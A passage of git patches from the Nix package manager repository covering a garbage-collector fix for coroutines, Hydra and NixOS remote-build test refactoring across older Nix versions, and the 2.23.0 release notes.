final.libseccomp.overrideAttrs (_: rec { version = "2.5.5"; From cc6f31525253b73e4776b5f733e0950e1706d546 Mon Sep 17 00:00:00 2001 From: Robert Hensing Date: Tue, 5 Mar 2024 16:39:06 +0100 Subject: [PATCH 0720/1251] nix: Disable GC during coroutine when bdwgc < 8.4 This re-enables support for older bwdgc versions without complicating the code too much. Coroutines generally only interfere with GC during source filtering, so it's not too bad of a regression on older bdwgc. This seems preferable over conditional compilation to enable the patch etc; we've already spent a lot of complexity budget on this GC-coroutine interaction... --- configure.ac | 2 +- src/libexpr/eval.cc | 16 ++++++++++------ 2 files changed, 11 insertions(+), 7 deletions(-) diff --git a/configure.ac b/configure.ac index 0a015fe48..90a6d45d5 100644 --- a/configure.ac +++ b/configure.ac @@ -366,7 +366,7 @@ fi AC_ARG_ENABLE(gc, AS_HELP_STRING([--enable-gc],[enable garbage collection in the Nix expression evaluator (requires Boehm GC) [default=yes]]), gc=$enableval, gc=yes) if test "$gc" = yes; then - PKG_CHECK_MODULES([BDW_GC], [bdw-gc >= 8.2.4]) + PKG_CHECK_MODULES([BDW_GC], [bdw-gc]) CXXFLAGS="$BDW_GC_CFLAGS $CXXFLAGS" AC_DEFINE(HAVE_BOEHMGC, 1, [Whether to use the Boehm garbage collector.]) fi diff --git a/src/libexpr/eval.cc b/src/libexpr/eval.cc index 30521b072..1eb60a1b8 100644 --- a/src/libexpr/eval.cc +++ b/src/libexpr/eval.cc @@ -348,14 +348,14 @@ void initGC() GC_set_oom_fn(oomHandler); - // TODO: Comment suggests an implementation that works on darwin and windows - // https://github.com/ivmai/bdwgc/issues/362#issuecomment-1936672196 - #ifndef __APPLE__ - GC_set_sp_corrector(&fixupBoehmStackPointer); - #endif - StackAllocator::defaultAllocator = &boehmGCStackAllocator; + // TODO: Remove __APPLE__ condition. + // Comment suggests an implementation that works on darwin and windows + // https://github.com/ivmai/bdwgc/issues/362#issuecomment-1936672196 + #if GC_VERSION_MAJOR >= 8 && GC_VERSION_MINOR >= 4 && !defined(__APPLE__) + GC_set_sp_corrector(&fixupBoehmStackPointer); + if (!GC_get_sp_corrector()) { printTalkative("BoehmGC on this platform does not support sp_corrector; will disable GC inside coroutines"); /* Used to disable GC when entering coroutines on macOS */ @@ -363,6 +363,10 @@ void initGC() return std::make_shared(); }; } + #else + #warning "BoehmGC version does not support GC while coroutine exists. GC will be disabled inside coroutines. Consider updating bwd-gc to 8.4 or later." + #endif + /* Set the initial heap size to something fairly big (25% of physical RAM, up to a maximum of 384 MiB) so that in most cases From f01f65b615795d3833dbb00768ce93fd701facde Mon Sep 17 00:00:00 2001 From: Robert Hensing Date: Mon, 3 Jun 2024 16:15:49 +0200 Subject: [PATCH 0721/1251] Fix nixpkgsLibTests --- build/hydra.nix | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/build/hydra.nix b/build/hydra.nix index 595aad324..fe9ca936c 100644 --- a/build/hydra.nix +++ b/build/hydra.nix @@ -151,10 +151,11 @@ in nixpkgsLibTests = forAllSystems (system: - import (nixpkgs + "/lib/tests/release.nix") + import (nixpkgs + "/lib/tests/test-with-nix.nix") { + lib = nixpkgsFor.${system}.native.lib; + nix = self.packages.${system}.nix; pkgs = nixpkgsFor.${system}.native; - nixVersions = [ self.packages.${system}.nix ]; } ); }; From 60675251620ed73d245fe633db94cde6742fa4d9 Mon Sep 17 00:00:00 2001 From: Robert Hensing Date: Mon, 3 Jun 2024 16:35:45 +0200 Subject: [PATCH 0722/1251] hydraJobs.installTests..againstCurrent{Unstable -> Latest} Nixpkgs has reshuffled its Nix versions. --- build/hydra.nix | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/build/hydra.nix b/build/hydra.nix index fe9ca936c..84878fb5e 100644 --- a/build/hydra.nix +++ b/build/hydra.nix @@ -170,10 +170,10 @@ in pkgs.runCommand "install-tests" { againstSelf = testNixVersions pkgs pkgs.nix pkgs.pkgs.nix; - againstCurrentUnstable = + againstCurrentLatest = # FIXME: temporarily disable this on macOS because of #3605. if system == "x86_64-linux" - then testNixVersions pkgs pkgs.nix pkgs.nixUnstable + then testNixVersions pkgs pkgs.nix pkgs.nixVersions.latest else null; # Disabled because the latest stable version doesn't handle # `NIX_DAEMON_SOCKET_PATH` which is required for the tests to work From 449e4b9232a601b7cbc04a03866c278ae5a0f51d Mon Sep 17 00:00:00 2001 From: Robert Hensing Date: Mon, 3 Jun 2024 16:42:11 +0200 Subject: [PATCH 0723/1251] Change checkOverrideNixVersion for NixOS 24.05 --- tests/nixos/default.nix | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/tests/nixos/default.nix b/tests/nixos/default.nix index 4edf40c16..4267db945 100644 --- a/tests/nixos/default.nix +++ b/tests/nixos/default.nix @@ -33,7 +33,9 @@ let checkOverrideNixVersion = { pkgs, lib, ... }: { # pkgs.nix: The new Nix in this repo # We disallow it, to make sure we don't accidentally use it. - system.forbiddenDependenciesRegex = lib.strings.escapeRegex "nix-${pkgs.nix.version}"; + system.forbiddenDependenciesRegexes = [ + (lib.strings.escapeRegex "nix-${pkgs.nix.version}") + ]; }; in From 6558025e776d89f687c3c25adc5ae01870622db3 Mon Sep 17 00:00:00 2001 From: Robert Hensing Date: Mon, 3 Jun 2024 17:00:48 +0200 Subject: [PATCH 0724/1251] Fix eval remoteBuilds_*_2_13 --- build/hydra.nix | 2 +- flake.lock | 17 +++++++++++++++++ flake.nix | 1 + tests/nixos/default.nix | 14 +++++++++++--- 4 files changed, 30 insertions(+), 4 deletions(-) diff --git a/build/hydra.nix b/build/hydra.nix index 84878fb5e..857b7f1f0 100644 --- a/build/hydra.nix +++ b/build/hydra.nix @@ -129,7 +129,7 @@ in }; # System tests. - tests = import ../tests/nixos { inherit lib nixpkgs nixpkgsFor; } // { + tests = import ../tests/nixos { inherit lib nixpkgs nixpkgsFor self; } // { # Make sure that nix-env still produces the exact same result # on a particular version of Nixpkgs. diff --git a/flake.lock b/flake.lock index 7770484a6..ee976a3d9 100644 --- a/flake.lock +++ b/flake.lock @@ -83,6 +83,22 @@ "type": "github" } }, + "nixpkgs-23-11": { + "locked": { + "lastModified": 1717159533, + "narHash": "sha256-oamiKNfr2MS6yH64rUn99mIZjc45nGJlj9eGth/3Xuw=", + "owner": "NixOS", + "repo": "nixpkgs", + "rev": "a62e6edd6d5e1fa0329b8653c801147986f8d446", + "type": "github" + }, + "original": { + "owner": "NixOS", + "repo": "nixpkgs", + "rev": "a62e6edd6d5e1fa0329b8653c801147986f8d446", + "type": "github" + } + }, "nixpkgs-regression": { "locked": { "lastModified": 1643052045, @@ -131,6 +147,7 @@ "flake-parts": "flake-parts", "libgit2": "libgit2", "nixpkgs": "nixpkgs", + "nixpkgs-23-11": "nixpkgs-23-11", "nixpkgs-regression": "nixpkgs-regression", "pre-commit-hooks": "pre-commit-hooks" } diff --git a/flake.nix b/flake.nix index 896a2481c..b07e05684 100644 --- a/flake.nix +++ b/flake.nix @@ -5,6 +5,7 @@ # https://nixpk.gs/pr-tracker.html?pr=291954 inputs.nixpkgs.url = "github:NixOS/nixpkgs/release-24.05"; inputs.nixpkgs-regression.url = "github:NixOS/nixpkgs/215d4d0fd80ca5163643b03a33fde804a29cc1e2"; + inputs.nixpkgs-23-11.url = "github:NixOS/nixpkgs/a62e6edd6d5e1fa0329b8653c801147986f8d446"; inputs.flake-compat = { url = "github:edolstra/flake-compat"; flake = false; }; inputs.libgit2 = { url = "github:libgit2/libgit2"; flake = false; }; diff --git a/tests/nixos/default.nix b/tests/nixos/default.nix index 4267db945..303fbc562 100644 --- a/tests/nixos/default.nix +++ b/tests/nixos/default.nix @@ -1,4 +1,4 @@ -{ lib, nixpkgs, nixpkgsFor }: +{ lib, nixpkgs, nixpkgsFor, self }: let @@ -60,7 +60,11 @@ in imports = [ ./remote-builds.nix ]; builders.config = { lib, pkgs, ... }: { imports = [ checkOverrideNixVersion ]; - nix.package = lib.mkForce pkgs.nixVersions.nix_2_3; + nix.package = lib.mkForce ( + self.inputs.nixpkgs-23-11.legacyPackages.${pkgs.stdenv.hostPlatform.system}.nixVersions.nix_2_13.overrideAttrs (o: { + meta = o.meta // { knownVulnerabilities = []; }; + }) + ); }; }); @@ -82,7 +86,11 @@ in imports = [ ./remote-builds.nix ]; nodes.client = { lib, pkgs, ... }: { imports = [ checkOverrideNixVersion ]; - nix.package = lib.mkForce pkgs.nixVersions.nix_2_13; + nix.package = lib.mkForce ( + self.inputs.nixpkgs-23-11.legacyPackages.${pkgs.stdenv.hostPlatform.system}.nixVersions.nix_2_13.overrideAttrs (o: { + meta = o.meta // { knownVulnerabilities = []; }; + }) + ); }; }); From efc2508e8bccc0ef990d0b4d48e6d452e1cc9d37 Mon Sep 17 00:00:00 2001 From: Robert Hensing Date: Mon, 3 Jun 2024 17:26:16 +0200 Subject: [PATCH 0725/1251] Refactor hydraJobs.tests.remoteBuilds_*_2_18 --- tests/nixos/default.nix | 141 ++++++++++++++-------------------------- 1 file changed, 48 insertions(+), 93 deletions(-) diff --git a/tests/nixos/default.nix b/tests/nixos/default.nix index 303fbc562..78f91ae1b 100644 --- a/tests/nixos/default.nix +++ b/tests/nixos/default.nix @@ -37,6 +37,21 @@ let (lib.strings.escapeRegex "nix-${pkgs.nix.version}") ]; }; + + otherNixes.nix_2_3.setNixPackage = { lib, pkgs, ... }: { + imports = [ checkOverrideNixVersion ]; + nix.package = lib.mkForce pkgs.nixVersions.nix_2_3; + }; + + otherNixes.nix_2_13.setNixPackage = { lib, pkgs, ... }: { + imports = [ checkOverrideNixVersion ]; + nix.package = lib.mkForce ( + self.inputs.nixpkgs-23-11.legacyPackages.${pkgs.stdenv.hostPlatform.system}.nixVersions.nix_2_13.overrideAttrs (o: { + meta = o.meta // { knownVulnerabilities = []; }; + }) + ); + }; + in { @@ -44,108 +59,48 @@ in remoteBuilds = runNixOSTestFor "x86_64-linux" ./remote-builds.nix; - # Test our Nix as a client against remotes that are older - - remoteBuilds_remote_2_3 = runNixOSTestFor "x86_64-linux" { - name = "remoteBuilds_remote_2_3"; - imports = [ ./remote-builds.nix ]; - builders.config = { lib, pkgs, ... }: { - imports = [ checkOverrideNixVersion ]; - nix.package = lib.mkForce pkgs.nixVersions.nix_2_3; - }; - }; - - remoteBuilds_remote_2_13 = runNixOSTestFor "x86_64-linux" ({ lib, pkgs, ... }: { - name = "remoteBuilds_remote_2_13"; - imports = [ ./remote-builds.nix ]; - builders.config = { lib, pkgs, ... }: { - imports = [ checkOverrideNixVersion ]; - nix.package = lib.mkForce ( - self.inputs.nixpkgs-23-11.legacyPackages.${pkgs.stdenv.hostPlatform.system}.nixVersions.nix_2_13.overrideAttrs (o: { - meta = o.meta // { knownVulnerabilities = []; }; - }) - ); - }; - }); - - # TODO: (nixpkgs update) remoteBuilds_remote_2_18 = ... - - # Test our Nix as a builder for clients that are older - - remoteBuilds_local_2_3 = runNixOSTestFor "x86_64-linux" ({ lib, pkgs, ... }: { - name = "remoteBuilds_local_2_3"; - imports = [ ./remote-builds.nix ]; - nodes.client = { lib, pkgs, ... }: { - imports = [ checkOverrideNixVersion ]; - nix.package = lib.mkForce pkgs.nixVersions.nix_2_3; - }; - }); - - remoteBuilds_local_2_13 = runNixOSTestFor "x86_64-linux" ({ lib, pkgs, ... }: { - name = "remoteBuilds_local_2_13"; - imports = [ ./remote-builds.nix ]; - nodes.client = { lib, pkgs, ... }: { - imports = [ checkOverrideNixVersion ]; - nix.package = lib.mkForce ( - self.inputs.nixpkgs-23-11.legacyPackages.${pkgs.stdenv.hostPlatform.system}.nixVersions.nix_2_13.overrideAttrs (o: { - meta = o.meta // { knownVulnerabilities = []; }; - }) - ); - }; - }); - - # TODO: (nixpkgs update) remoteBuilds_local_2_18 = ... - - # End remoteBuilds tests - remoteBuildsSshNg = runNixOSTestFor "x86_64-linux" ./remote-builds-ssh-ng.nix; - # Test our Nix as a client against remotes that are older - - remoteBuildsSshNg_remote_2_3 = runNixOSTestFor "x86_64-linux" { - name = "remoteBuildsSshNg_remote_2_3"; - imports = [ ./remote-builds-ssh-ng.nix ]; - builders.config = { lib, pkgs, ... }: { - imports = [ checkOverrideNixVersion ]; - nix.package = lib.mkForce pkgs.nixVersions.nix_2_3; +} +// lib.concatMapAttrs ( + nixVersion: { setNixPackage, ... }: + { + "remoteBuilds_remote_${nixVersion}" = runNixOSTestFor "x86_64-linux" { + name = "remoteBuilds_remote_${nixVersion}"; + imports = [ ./remote-builds.nix ]; + builders.config = { lib, pkgs, ... }: { + imports = [ setNixPackage ]; + }; }; - }; - remoteBuildsSshNg_remote_2_13 = runNixOSTestFor "x86_64-linux" { - name = "remoteBuildsSshNg_remote_2_13"; - imports = [ ./remote-builds-ssh-ng.nix ]; - builders.config = { lib, pkgs, ... }: { - imports = [ checkOverrideNixVersion ]; - nix.package = lib.mkForce pkgs.nixVersions.nix_2_13; + "remoteBuilds_local_${nixVersion}" = runNixOSTestFor "x86_64-linux" { + name = "remoteBuilds_local_${nixVersion}"; + imports = [ ./remote-builds.nix ]; + nodes.client = { lib, pkgs, ... }: { + imports = [ setNixPackage ]; + }; }; - }; - # TODO: (nixpkgs update) remoteBuildsSshNg_remote_2_18 = ... - - # Test our Nix as a builder for clients that are older - - # FIXME: these tests don't work yet - /* - remoteBuildsSshNg_local_2_3 = runNixOSTestFor "x86_64-linux" ({ lib, pkgs, ... }: { - name = "remoteBuildsSshNg_local_2_3"; - imports = [ ./remote-builds-ssh-ng.nix ]; - nodes.client = { lib, pkgs, ... }: { - imports = [ checkOverrideNixVersion ]; - nix.package = lib.mkForce pkgs.nixVersions.nix_2_3; + "remoteBuildsSshNg_remote_${nixVersion}" = runNixOSTestFor "x86_64-linux" { + name = "remoteBuildsSshNg_remote_${nixVersion}"; + imports = [ ./remote-builds-ssh-ng.nix ]; + builders.config = { lib, pkgs, ... }: { + imports = [ setNixPackage ]; + }; }; - }); - remoteBuildsSshNg_local_2_13 = runNixOSTestFor "x86_64-linux" ({ lib, pkgs, ... }: { - name = "remoteBuildsSshNg_local_2_13"; - imports = [ ./remote-builds-ssh-ng.nix ]; - nodes.client = { lib, pkgs, ... }: { - imports = [ checkOverrideNixVersion ]; - nix.package = lib.mkForce pkgs.nixVersions.nix_2_13; - }; - }); + # FIXME: these tests don't work yet - # TODO: (nixpkgs update) remoteBuildsSshNg_local_2_18 = ... - */ + # "remoteBuildsSshNg_local_${nixVersion}" = runNixOSTestFor "x86_64-linux" { + # name = "remoteBuildsSshNg_local_${nixVersion}"; + # imports = [ ./remote-builds-ssh-ng.nix ]; + # nodes.client = { lib, pkgs, ... }: { + # imports = [ overridingModule ]; + # }; + # }; + } +) otherNixes +// { nix-copy-closure = runNixOSTestFor "x86_64-linux" ./nix-copy-closure.nix; From 8a510f4ede604f91a2f0fea108cf50bf564a5ed1 Mon Sep 17 00:00:00 2001 From: Robert Hensing Date: Mon, 3 Jun 2024 17:33:38 +0200 Subject: [PATCH 0726/1251] Add tests.remoteBuilds_*_2_18 --- tests/nixos/default.nix | 5 +++++ 1 file changed, 5 insertions(+) diff --git a/tests/nixos/default.nix b/tests/nixos/default.nix index 78f91ae1b..d8531b2c8 100644 --- a/tests/nixos/default.nix +++ b/tests/nixos/default.nix @@ -52,6 +52,11 @@ let ); }; + otherNixes.nix_2_18.setNixPackage = { lib, pkgs, ... }: { + imports = [ checkOverrideNixVersion ]; + nix.package = lib.mkForce pkgs.nixVersions.nix_2_18; + }; + in { From 754ea9058daebaaa85e7c6e683a54b948b96bdec Mon Sep 17 00:00:00 2001 From: Eelco Dolstra Date: Mon, 3 Jun 2024 18:06:42 +0200 Subject: [PATCH 0727/1251] release notes: 2.23.0 --- doc/manual/rl-next/builtins-warn.md | 10 -- doc/manual/rl-next/consistent-nix-build.md | 6 -- doc/manual/rl-next/derivation-json-change.md | 12 --- .../rl-next/fix-silent-unknown-options.md | 28 ----- doc/manual/rl-next/nix-env-shell.md | 12 --- .../print-value-in-installable-flake-error.md | 18 ---- .../shallow-git-fetching-by-default.md | 12 --- doc/manual/rl-next/store-object-info.md | 11 -- doc/manual/rl-next/warn-large-path.md | 11 -- doc/manual/src/SUMMARY.md.in | 1 + doc/manual/src/release-notes/rl-2.23.md | 102 ++++++++++++++++++ 11 files changed, 103 insertions(+), 120 deletions(-) delete mode 100644 doc/manual/rl-next/builtins-warn.md delete mode 100644 doc/manual/rl-next/consistent-nix-build.md delete mode 100644 doc/manual/rl-next/derivation-json-change.md delete mode 100644 doc/manual/rl-next/fix-silent-unknown-options.md delete mode 100644 doc/manual/rl-next/nix-env-shell.md delete mode 100644 doc/manual/rl-next/print-value-in-installable-flake-error.md delete mode 100644 doc/manual/rl-next/shallow-git-fetching-by-default.md delete mode 100644 doc/manual/rl-next/store-object-info.md delete mode 100644 doc/manual/rl-next/warn-large-path.md create mode 100644 doc/manual/src/release-notes/rl-2.23.md diff --git a/doc/manual/rl-next/builtins-warn.md b/doc/manual/rl-next/builtins-warn.md deleted file mode 100644 index f805e1610..000000000 --- a/doc/manual/rl-next/builtins-warn.md +++ /dev/null @@ -1,10 +0,0 @@ ---- -synopsis: "New builtin: `builtins.warn`" -issues: 306026 -prs: 10592 ---- - -`builtins.warn` behaves like `builtins.trace "warning: ${msg}"`, has an accurate log level, and is controlled by the options -[`debugger-on-trace`](@docroot@/command-ref/conf-file.md#conf-debugger-on-trace), -[`debugger-on-warn`](@docroot@/command-ref/conf-file.md#conf-debugger-on-warn) and -[`abort-on-warn`](@docroot@/command-ref/conf-file.md#conf-abort-on-warn). diff --git a/doc/manual/rl-next/consistent-nix-build.md b/doc/manual/rl-next/consistent-nix-build.md deleted file mode 100644 index d5929dc8e..000000000 --- a/doc/manual/rl-next/consistent-nix-build.md +++ /dev/null @@ -1,6 +0,0 @@ ---- -synopsis: Show all FOD errors with `nix build --keep-going` ---- - -`nix build --keep-going` now behaves consistently with `nix-build --keep-going`. This means -that if e.g. multiple FODs fail to build, all hash mismatches are displayed. diff --git a/doc/manual/rl-next/derivation-json-change.md b/doc/manual/rl-next/derivation-json-change.md deleted file mode 100644 index 2a1d40e83..000000000 --- a/doc/manual/rl-next/derivation-json-change.md +++ /dev/null @@ -1,12 +0,0 @@ ---- -synopsis: Modify `nix derivation {add,show}` JSON format -issues: 9866 -prs: 10722 ---- - -The JSON format for derivations has been slightly revised to better conform to our [JSON guidelines](@docroot@contributing/cli-guideline#returning-future-proof-json). -In particular, the hash algorithm and content addressing method of content-addresed derivation outputs is now separated into two fields `hashAlgo` and `method`, -rather than one field with an arcane `:`-separated format. - -This JSON format is only used by the experimental `nix derivation` family of commands, at this time. -Future revisions are expected as the JSON format is still not entirely in compliance even after these changes. diff --git a/doc/manual/rl-next/fix-silent-unknown-options.md b/doc/manual/rl-next/fix-silent-unknown-options.md deleted file mode 100644 index 0977260ac..000000000 --- a/doc/manual/rl-next/fix-silent-unknown-options.md +++ /dev/null @@ -1,28 +0,0 @@ ---- -synopsis: Warn on unknown settings anywhere in the command line -prs: 10701 ---- - -All `nix` commands will now properly warn when an unknown option is specified anywhere in the command line. - -Before: - -```console -$ nix-instantiate --option foobar baz --expr '{}' -warning: unknown setting 'foobar' -$ nix-instantiate '{}' --option foobar baz --expr -$ nix eval --expr '{}' --option foobar baz -{ } -``` - -After: - -```console -$ nix-instantiate --option foobar baz --expr '{}' -warning: unknown setting 'foobar' -$ nix-instantiate '{}' --option foobar baz --expr -warning: unknown setting 'foobar' -$ nix eval --expr '{}' --option foobar baz -warning: unknown setting 'foobar' -{ } -``` diff --git a/doc/manual/rl-next/nix-env-shell.md b/doc/manual/rl-next/nix-env-shell.md deleted file mode 100644 index b2344417a..000000000 --- a/doc/manual/rl-next/nix-env-shell.md +++ /dev/null @@ -1,12 +0,0 @@ ---- -synopsis: "`nix env shell` is the new `nix shell`, and `nix shell` remains an accepted alias" -issues: 10504 -prs: 10807 ---- - -This is part of an effort to bring more structure to the CLI subcommands. - -`nix env` will be about the process environment. -Future commands may include `nix env run` and `nix env print-env`. - -It is also somewhat analogous to the [planned](https://github.com/NixOS/nix/issues/10504) `nix dev shell` (currently `nix develop`), which is less about environment variables, and more about running a development shell, which is a more powerful command, but also requires more setup. diff --git a/doc/manual/rl-next/print-value-in-installable-flake-error.md b/doc/manual/rl-next/print-value-in-installable-flake-error.md deleted file mode 100644 index bb35e252e..000000000 --- a/doc/manual/rl-next/print-value-in-installable-flake-error.md +++ /dev/null @@ -1,18 +0,0 @@ ---- -synopsis: New-cli flake commands that expect derivations now print the failing value and its type -prs: 10778 ---- - -In errors like `flake output attribute 'nixosConfigurations.yuki.config' is not a derivation or path`, the message now includes the failing value and type. - -Before: - -``` - error: flake output attribute 'nixosConfigurations.yuki.config' is not a derivation or path -```` - -After: - -``` - error: expected flake output attribute 'nixosConfigurations.yuki.config' to be a derivation or path but found a set: { appstream = «thunk»; assertions = «thunk»; boot = { bcache = «thunk»; binfmt = «thunk»; binfmtMiscRegistrations = «thunk»; blacklistedKernelModules = «thunk»; bootMount = «thunk»; bootspec = «thunk»; cleanTmpDir = «thunk»; consoleLogLevel = «thunk»; «43 attributes elided» }; «48 attributes elided» } -``` diff --git a/doc/manual/rl-next/shallow-git-fetching-by-default.md b/doc/manual/rl-next/shallow-git-fetching-by-default.md deleted file mode 100644 index 4d044f881..000000000 --- a/doc/manual/rl-next/shallow-git-fetching-by-default.md +++ /dev/null @@ -1,12 +0,0 @@ ---- -synopsis: "`fetchTree` now fetches git repositories shallowly by default" -prs: 10028 ---- - -`builtins.fetchTree` now clones git repositories shallowly by default, which reduces network traffic and disk usage significantly in many cases. - -Previously, the default behavior was to clone the full history of a specific tag or branch (eg. `ref`) and only afterwards extract the files of one specific revision. - -From now on, the `ref` and `allRefs` arguments will be ignored, except if shallow cloning is disabled by setting `shallow = false`. - -The defaults for `builtins.fetchGit` remain unchanged. Here, shallow cloning has to be enabled manually by passing `shallow = true`. diff --git a/doc/manual/rl-next/store-object-info.md b/doc/manual/rl-next/store-object-info.md deleted file mode 100644 index ab8f5fec0..000000000 --- a/doc/manual/rl-next/store-object-info.md +++ /dev/null @@ -1,11 +0,0 @@ ---- -synopsis: Store object info JSON format now uses `null` rather than omitting fields. -prs: 9995 ---- - -The [store object info JSON format](@docroot@/protocols/json/store-object-info.md), used for e.g. `nix path-info`, no longer omits fields to indicate absent information, but instead includes the fields with a `null` value. -For example, `"ca": null` is used to to indicate a store object that isn't content-addressed rather than omitting the `ca` field entirely. -This makes records of this sort more self-describing, and easier to consume programmatically. - -We will follow this design principle going forward; -the [JSON guidelines](@docroot@/contributing/json-guideline.md) in the contributing section have been updated accordingly. diff --git a/doc/manual/rl-next/warn-large-path.md b/doc/manual/rl-next/warn-large-path.md deleted file mode 100644 index 5ee3e307f..000000000 --- a/doc/manual/rl-next/warn-large-path.md +++ /dev/null @@ -1,11 +0,0 @@ ---- -synopsis: Large path warnings -prs: 10661 ---- - -Nix can now warn when evaluation of a Nix expression causes a large -path to be copied to the Nix store. The threshold for this warning can -be configured using [the `warn-large-path-threshold` -setting](@docroot@/command-ref/conf-file.md#warn-large-path-threshold), -e.g. `--warn-large-path-threshold 100M` will warn about paths larger -than 100 MiB. diff --git a/doc/manual/src/SUMMARY.md.in b/doc/manual/src/SUMMARY.md.in index 18e7e8380..cb54a3822 100644 --- a/doc/manual/src/SUMMARY.md.in +++ b/doc/manual/src/SUMMARY.md.in @@ -125,6 +125,7 @@ - [C++ style guide](contributing/cxx.md) - [Releases](release-notes/index.md) {{#include ./SUMMARY-rl-next.md}} + - [Release 2.23 (2024-06-03)](release-notes/rl-2.23.md) - [Release 2.22 (2024-04-23)](release-notes/rl-2.22.md) - [Release 2.21 (2024-03-11)](release-notes/rl-2.21.md) - [Release 2.20 (2024-01-29)](release-notes/rl-2.20.md) diff --git a/doc/manual/src/release-notes/rl-2.23.md b/doc/manual/src/release-notes/rl-2.23.md new file mode 100644 index 000000000..c08782122 --- /dev/null +++ b/doc/manual/src/release-notes/rl-2.23.md @@ -0,0 +1,102 @@ +# Release 2.23.0 (2024-06-03) + +- New builtin: `builtins.warn` [#306026](https://github.com/NixOS/nix/issues/306026) [#10592](https://github.com/NixOS/nix/pull/10592) + + `builtins.warn` behaves like `builtins.trace "warning: ${msg}"`, has an accurate log level, and is controlled by the options + [`debugger-on-trace`](@docroot@/command-ref/conf-file.md#conf-debugger-on-trace), + [`debugger-on-warn`](@docroot@/command-ref/conf-file.md#conf-debugger-on-warn) and + [`abort-on-warn`](@docroot@/command-ref/conf-file.md#conf-abort-on-warn). + +- Show all FOD errors with `nix build --keep-going` + + `nix build --keep-going` now behaves consistently with `nix-build --keep-going`. This means + that if e.g. multiple FODs fail to build, all hash mismatches are displayed. + +- Modify `nix derivation {add,show}` JSON format [#9866](https://github.com/NixOS/nix/issues/9866) [#10722](https://github.com/NixOS/nix/pull/10722) + + The JSON format for derivations has been slightly revised to better conform to our [JSON guidelines](@docroot@contributing/cli-guideline#returning-future-proof-json). + In particular, the hash algorithm and content addressing method of content-addresed derivation outputs is now separated into two fields `hashAlgo` and `method`, + rather than one field with an arcane `:`-separated format. + + This JSON format is only used by the experimental `nix derivation` family of commands, at this time. + Future revisions are expected as the JSON format is still not entirely in compliance even after these changes. + +- Warn on unknown settings anywhere in the command line [#10701](https://github.com/NixOS/nix/pull/10701) + + All `nix` commands will now properly warn when an unknown option is specified anywhere in the command line. + + Before: + + ```console + $ nix-instantiate --option foobar baz --expr '{}' + warning: unknown setting 'foobar' + $ nix-instantiate '{}' --option foobar baz --expr + $ nix eval --expr '{}' --option foobar baz + { } + ``` + + After: + + ```console + $ nix-instantiate --option foobar baz --expr '{}' + warning: unknown setting 'foobar' + $ nix-instantiate '{}' --option foobar baz --expr + warning: unknown setting 'foobar' + $ nix eval --expr '{}' --option foobar baz + warning: unknown setting 'foobar' + { } + ``` + +- `nix env shell` is the new `nix shell`, and `nix shell` remains an accepted alias [#10504](https://github.com/NixOS/nix/issues/10504) [#10807](https://github.com/NixOS/nix/pull/10807) + + This is part of an effort to bring more structure to the CLI subcommands. + + `nix env` will be about the process environment. + Future commands may include `nix env run` and `nix env print-env`. + + It is also somewhat analogous to the [planned](https://github.com/NixOS/nix/issues/10504) `nix dev shell` (currently `nix develop`), which is less about environment variables, and more about running a development shell, which is a more powerful command, but also requires more setup. + +- New-cli flake commands that expect derivations now print the failing value and its type [#10778](https://github.com/NixOS/nix/pull/10778) + + In errors like `flake output attribute 'nixosConfigurations.yuki.config' is not a derivation or path`, the message now includes the failing value and type. + + Before: + + ``` + error: flake output attribute 'nixosConfigurations.yuki.config' is not a derivation or path + ```` + + After: + + ``` + error: expected flake output attribute 'nixosConfigurations.yuki.config' to be a derivation or path but found a set: { appstream = «thunk»; assertions = «thunk»; boot = { bcache = «thunk»; binfmt = «thunk»; binfmtMiscRegistrations = «thunk»; blacklistedKernelModules = «thunk»; bootMount = «thunk»; bootspec = «thunk»; cleanTmpDir = «thunk»; consoleLogLevel = «thunk»; «43 attributes elided» }; «48 attributes elided» } + ``` + +- `fetchTree` now fetches git repositories shallowly by default [#10028](https://github.com/NixOS/nix/pull/10028) + + `builtins.fetchTree` now clones git repositories shallowly by default, which reduces network traffic and disk usage significantly in many cases. + + Previously, the default behavior was to clone the full history of a specific tag or branch (eg. `ref`) and only afterwards extract the files of one specific revision. + + From now on, the `ref` and `allRefs` arguments will be ignored, except if shallow cloning is disabled by setting `shallow = false`. + + The defaults for `builtins.fetchGit` remain unchanged. Here, shallow cloning has to be enabled manually by passing `shallow = true`. + +- Store object info JSON format now uses `null` rather than omitting fields. [#9995](https://github.com/NixOS/nix/pull/9995) + + The [store object info JSON format](@docroot@/protocols/json/store-object-info.md), used for e.g. `nix path-info`, no longer omits fields to indicate absent information, but instead includes the fields with a `null` value. + For example, `"ca": null` is used to to indicate a store object that isn't content-addressed rather than omitting the `ca` field entirely. + This makes records of this sort more self-describing, and easier to consume programmatically. + + We will follow this design principle going forward; + the [JSON guidelines](@docroot@/contributing/json-guideline.md) in the contributing section have been updated accordingly. + +- Large path warnings [#10661](https://github.com/NixOS/nix/pull/10661) + + Nix can now warn when evaluation of a Nix expression causes a large + path to be copied to the Nix store. The threshold for this warning can + be configured using [the `warn-large-path-threshold` + setting](@docroot@/command-ref/conf-file.md#warn-large-path-threshold), + e.g. `--warn-large-path-threshold 100M` will warn about paths larger + than 100 MiB. + From 879089e80d91c68b4487d5540d170d565958c720 Mon Sep 17 00:00:00 2001 From: Eelco Dolstra Date: Mon, 3 Jun 2024 18:13:37 +0200 Subject: [PATCH 0728/1251] Edit release notes --- doc/manual/src/release-notes/rl-2.23.md | 22 +++++++++++----------- 1 file changed, 11 insertions(+), 11 deletions(-) diff --git a/doc/manual/src/release-notes/rl-2.23.md b/doc/manual/src/release-notes/rl-2.23.md index c08782122..0f799c1df 100644 --- a/doc/manual/src/release-notes/rl-2.23.md +++ b/doc/manual/src/release-notes/rl-2.23.md @@ -7,15 +7,15 @@ [`debugger-on-warn`](@docroot@/command-ref/conf-file.md#conf-debugger-on-warn) and [`abort-on-warn`](@docroot@/command-ref/conf-file.md#conf-abort-on-warn). -- Show all FOD errors with `nix build --keep-going` +- Make `nix build --keep-going` consistent with `nix-build --keep-going` - `nix build --keep-going` now behaves consistently with `nix-build --keep-going`. This means - that if e.g. multiple FODs fail to build, all hash mismatches are displayed. + This means that if e.g. multiple fixed-output derivations fail to + build, all hash mismatches are displayed. - Modify `nix derivation {add,show}` JSON format [#9866](https://github.com/NixOS/nix/issues/9866) [#10722](https://github.com/NixOS/nix/pull/10722) The JSON format for derivations has been slightly revised to better conform to our [JSON guidelines](@docroot@contributing/cli-guideline#returning-future-proof-json). 